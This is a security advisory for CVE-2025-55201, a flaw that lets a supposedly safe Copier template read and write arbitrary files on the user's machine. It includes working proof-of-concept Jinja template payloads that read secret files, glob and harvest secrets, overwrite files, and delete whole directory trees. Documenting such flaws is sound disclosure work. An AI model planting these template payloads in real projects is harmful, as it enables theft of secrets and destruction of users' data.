CVE-2025-55201
Copier's safe template has arbitrary filesystem read/write access
Impact
### Impact Copier's current security model shall restrict filesystem access through Jinja: - Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case. - Files are written in the destination directory according to their counterparts in the template. Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless. #### Arbitrary read access Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets. Reproducible example: - Read known file: ```shell echo "s3cr3t" > secret.txt mkdir src/ echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja uvx copier copy src/ dst/ cat dst/stolen-secret.txt ``` - Read unknown file(s) via globbing: ```shell mkdir secrets/ echo "s3cr3t #1" > secrets/secret1.txt echo "s3cr3t #2" > secrets/secret2.txt mkdir src/ cat <<'EOF' > src/stolen-secrets.txt.jinja stolen secrets: {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %} {% for f in parent.glob('*.txt') %} {{ f }}: {{ f.read_text('utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat dst/stolen-secrets.txt ``` #### Arbitrary write access Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc. Reproducible examples: - Overwrite known file: ```shell echo "s3cr3t" > secret.txt mkdir src/ echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja uvx copier copy src/ dst/ cat secret.txt ``` - Overwrite unknown file(s) via globbing: ```shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.write_text('OVERWRITTEN', 'utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt ``` - Delete unknown file(s) via globbing: ```shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.unlink() }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt ``` - Delete unknown files and directories via tree walking: ```shell mkdir data mkdir data/a mkdir data/a/b echo "foo" > data/foo.txt echo "bar" > data/a/bar.txt echo "baz" > data/a/b/baz.txt tree data/ mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %} {% for root, dirs, files in parent.walk(top_down=False) %} {% for name in files %} {{ (root / name).unlink() }} {% endfor %} {% for name in dirs %} {{ (root / name).rmdir() }} {% endfor %} {% endfor %} EOF uvx copier copy src/ dst/ tree data/ ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| pip | copier | < 9.9.1 | 9.9.1 |
Affected products
| Product | Affected versions |
|---|---|
| Copier Library And CLI App For Rendering Project Templates. | before 9.9.1 |
Versions were read from the advisory text. No structured product data has been published for this record yet.